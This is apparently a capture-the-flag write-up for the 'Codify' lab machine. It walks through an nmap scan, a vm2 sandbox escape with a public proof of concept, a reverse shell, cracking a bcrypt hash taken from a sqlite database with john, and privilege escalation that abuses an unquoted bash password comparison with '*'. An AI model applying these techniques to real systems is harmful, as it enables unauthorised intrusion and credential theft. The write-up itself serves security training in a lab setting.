Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://codify.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
3000/tcp open http Node.js Express framework
|_http-title: Codify
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Seeing the result we see we have ssh, and two web servers, to save your time, the two are completely identical, so let's start going to the website and see what do we have:
Main website
So we see a website that we can use to test our JS code, but of course with limitations (for obvious reasons :D).
We use require('fs').ReadFile('/etc/passwd') trying to read a file, but we fail, so let's explore what else could be there.
And we get this in the about page:
Interesting snippet from the about page
The vm2 library is a widely used and trusted tool for sand-boxing JavaScript.
The vm2 is a discontinued project, so going into the GitHub repo here, will show us a lot of vulnerabilities.
Exploitation
One of them (this one), even has a PoC in it that we can use to issue commands on the system and escape the sandbox.
Testing the PoC
And it worked! we managed to execute whoami;id, so let's get a reverse shell. And we get a shell as svc on the box, let's start enumerating
Going into /var/www/ we can see the folder for this website (editor), and another one called "contact", which also have a Database file, so let's examine it.
It is a sqlite3 database, so let's dump it using:
And we get the following:
We get a hash! Let's take it and crack it locally using john.
And we got the password!
So now is the time for root...
Privilege Escalation
Doing sudo -l, we see we can execute a script:
Taking a look at it, it's doing some stuff related to the database in there, and here is the interesting snippet:
If we get authenticated, it will issue a command which will use the root password for the database, but how do we get authenticated?
Well staring enough in the above code, we can notice some sort of wildcard abuse chance, see the comparison here is missing because the $USER_PASS is not warped in quotes, so what if we inserted * ?
We get Password confirmed! so let's try to authenticate to this and also monitor processes using pspy64 and maybe we can look at the command and get the password. After running the script, and running pspy too, we wait a bit and see the following:
<SNIP>
VALUES(3,'joshua','$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2');
CREATE TABLE tickets (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, topic TEXT, description TEXT, status TEXT);
<SNIP>
echo '$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2' >> joshua.hash
john --wordlist=/opt/wordlists/rockyou.txt joshua.txt
john --show joshua.hash
?:sp<REDACTED>ob1
1 password hash cracked, 0 left
User joshua may run the following commands on codify:
(root) /opt/scripts/mysql-backup.sh
<SNIP>
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo
if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi
<SNIP>
for db in $databases; do
/usr/bin/echo "Backing up database: $db"
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done
<SNIP>
Enter MySQL password for root:
Password confirmed!
mysql: [Warning] Using a password on the command line interface can be insecure.
Backing up database: mysql